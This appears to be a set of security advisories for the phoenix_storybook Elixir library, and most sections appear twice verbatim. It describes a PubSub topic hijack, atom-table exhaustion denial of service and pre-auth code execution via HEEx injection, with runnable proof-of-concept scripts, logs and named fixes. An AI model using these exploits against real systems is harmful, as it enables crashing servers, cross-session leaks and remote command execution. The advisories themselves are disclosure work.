• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

